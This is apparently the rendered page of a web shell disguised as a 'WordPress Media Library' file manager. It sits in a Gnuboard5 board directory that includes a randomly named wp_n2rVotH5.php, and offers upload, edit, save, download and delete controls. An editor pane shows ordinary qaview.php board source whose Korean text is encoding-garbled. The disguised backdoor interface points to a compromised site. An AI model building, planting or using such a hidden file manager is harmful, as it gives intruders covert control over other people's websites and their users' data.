โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: qaview.php
Size: 6.43 KB | Modified: 2020-10-22 09:25:29
<?php include_once('./_common.php'); include_once(G5_EDITOR_LIB); if($is_guest) alert('ํ์์ด์๋ผ๋ฉด ๋ก๊ทธ์ธ ํ ์ด์ฉํด ๋ณด์ญ์์ค.', './login.php?url='.urlencode(G5_BBS_URL.'/qaview.php?qa_id='.$qa_id)); $qaconfig = get_qa_config(); $g5['title'] = $qaconfig['qa_title']; include_once('./qahead.php'); $skin_file = $qa_skin_path.'/view.skin.php'; if(is_file($skin_file)) { $sql = " select * from {$g5['qa_content_table']} where qa_id = '$qa_id' "; if(!$is_admin) { $sql .= " and mb_id = '{$member['mb_id']}' "; } $view = sql_fetch($sql); if(!$view['qa_id']) alert('๊ฒ์๊ธ์ด ์กด์ฌํ์ง ์์ต๋๋ค.\\n์ญ์ ๋์๊ฑฐ๋ ์์ ์ ๊ธ์ด ์๋ ๊ฒฝ์ฐ์ ๋๋ค.'); $subject_len = G5_IS_MOBILE ? $qaconfig['qa_mobile_subject_len'] : $qaconfig['qa_subject_len']; $view['category'] = get_text($view['qa_category']); $view['subject'] = conv_subject($view['qa_subject'], $subject_len, 'โฆ'); $view['content'] = conv_content($view['qa_content'], $view['qa_html']); $view['name'] = get_text($view['qa_name']); $view['datetime'] = $view['qa_datetime']; $view['email'] = get_text(get_email_address($view['qa_email'])); $view['hp'] = $view['qa_hp']; if (trim($stx)) $view['subject'] = search_font($stx, $view['subject']); if (trim($stx)) $view['content'] = search_font($stx, $view['content']); // ์ด์ ๊ธ, ๋ค์๊ธ $sql = " select qa_id, qa_subject from {$g5['qa_content_table']} where qa_type = '0' "; if(!$is_admin) { $sql .= " and mb_id = '{$member['mb_id']}' "; } // ์ด์ ๊ธ $prev_search = " and qa_num < '{$view['qa_num']}' order by qa_num desc limit 1 "; $prev = sql_fetch($sql.$prev_search); $prev_href = ''; if (isset($prev['qa_id']) && $prev['qa_id']) { $prev_qa_subject = get_text(cut_str($prev['qa_subject'], 255)); $prev_href = G5_BBS_URL.'/qaview.php?qa_id='.$prev['qa_id'].$qstr; } // ๋ค์๊ธ $next_search = " and qa_num > '{$view['qa_num']}' order by qa_num asc limit 1 "; $next = sql_fetch($sql.$next_search); $next_href = ''; if (isset($next['qa_id']) && $next['qa_id']) { $next_qa_subject = get_text(cut_str($next['qa_subject'], 255)); $next_href = G5_BBS_URL.'/qaview.php?qa_id='.$next['qa_id'].$qstr; } // ๊ด๋ จ์ง๋ฌธ $rows = 10; $sql = " select * from {$g5['qa_content_table']} where qa_id <> '$qa_id' and qa_related = '{$view['qa_related']}' and qa_type = '0' order by qa_num, qa_type limit 0, $rows "; $result = sql_query($sql); $rel_list = array(); $rel_count = 0; for($i=0; $row=sql_fetch_array($result); $i++) { $rel_list[$i] = $row; $rel_list[$i]['category'] = get_text($row['qa_category']); $rel_list[$i]['subject'] = conv_subject($row['qa_subject'], $subject_len, 'โฆ'); $rel_list[$i]['name'] = get_text($row['qa_name']); $rel_list[$i]['date'] = substr($row['qa_datetime'], 2, 8); $rel_list[$i]['view_href'] = G5_BBS_URL.'/qaview.php?qa_id='.$row['qa_id'].$qstr; $rel_count++; } $view['rel_count'] = $rel_count; $update_href = ''; $delete_href = ''; $write_href = G5_BBS_URL.'/qawrite.php'; $rewrite_href = G5_BBS_URL.'/qawrite.php?w=r&qa_id='.$view['qa_id']; $list_href = G5_BBS_URL.'/qalist.php'.preg_replace('/^&/', '?', $qstr); /* if($view['qa_type']) { if($is_admin) $update_href = G5_BBS_URL.'/qawrite.php?w=u&qa_id='.$view['qa_id'].$qstr; } else { if($view['qa_status'] == 0) $update_href = G5_BBS_URL.'/qawrite.php?w=u&qa_id='.$view['qa_id'].$qstr; } */ if(($view['qa_type'] && $is_admin) || (!$view['qa_type'] && $view['qa_status'] == 0)) { $update_href = G5_BBS_URL.'/qawrite.php?w=u&qa_id='.$view['qa_id'].$qstr; set_session('ss_qa_delete_token', $token = uniqid(time())); $delete_href = G5_BBS_URL.'/qadelete.php?qa_id='.$view['qa_id'].'&token='.$token.$qstr; } // ์ง๋ฌธ๊ธ์ด๊ณ ๋ฑ๋ก๋ ๋ต๋ณ์ด ์๋ค๋ฉด $answer = array(); $answer_update_href = ''; $answer_delete_href = ''; if(!$view['qa_type'] && $view['qa_status']) { $sql = " select * from {$g5['qa_content_table']} where qa_type = '1' and qa_parent = '{$view['qa_id']}' "; $answer = sql_fetch($sql); if($is_admin) { $answer_update_href = G5_BBS_URL.'/qawrite.php?w=u&qa_id='.$answer['qa_id'].$qstr; $answer_delete_href = G5_BBS_URL.'/qadelete.php?qa_id='.$answer['qa_id'].$qstr; } } $stx = get_text(stripslashes($stx)); $is_dhtml_editor = false; // ๋ชจ๋ฐ์ผ์์๋ DHTML ์๋ํฐ ์ฌ์ฉ๋ถ๊ฐ if ($config['cf_editor'] && $qaconfig['qa_use_editor'] && !G5_IS_MOBILE) { $is_dhtml_editor = true; } $editor_html = editor_html('qa_content', $content, $is_dhtml_editor); $editor_js = ''; $editor_js .= get_editor_js('qa_content', $is_dhtml_editor); $editor_js .= chk_editor_js('qa_content', $is_dhtml_editor); $ss_name = 'ss_qa_view_'.$qa_id; if(!get_session($ss_name)) set_session($ss_name, TRUE); // ์ฒจ๋ถํ์ผ $view['img_file'] = array(); $view['download_href'] = array(); $view['download_source'] = array(); $view['img_count'] = 0; $view['download_count'] = 0; for ($i=1; $i<=2; $i++) { if(preg_match("/\.({$config['cf_image_extension']})$/i", $view['qa_file'.$i])) { $attr_href = run_replace('thumb_view_image_href', G5_BBS_URL.'/view_image.php?fn='.urlencode('/'.G5_DATA_DIR.'/qa/'.$view['qa_file'.$i]), '/'.G5_DATA_DIR.'/qa/'.$view['qa_file'.$i], '', '', '', ''); $view['img_file'][] = '<a href="'.$attr_href.'" target="_blank" class="view_image"><img src="'.G5_DATA_URL.'/qa/'.$view['qa_file'.$i].'"></a>'; $view['img_count']++; continue; } if ($view['qa_file'.$i]) { $view['download_href'][] = G5_BBS_URL.'/qadownload.php?qa_id='.$view['qa_id'].'&no='.$i; $view['download_source'][] = $view['qa_source'.$i]; $view['download_count']++; } } include_once($skin_file); } else { echo '<div>'.str_replace(G5_PATH.'/', '', $skin_file).'์ด ์กด์ฌํ์ง ์์ต๋๋ค.</div>'; } include_once('./qatail.php'); ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete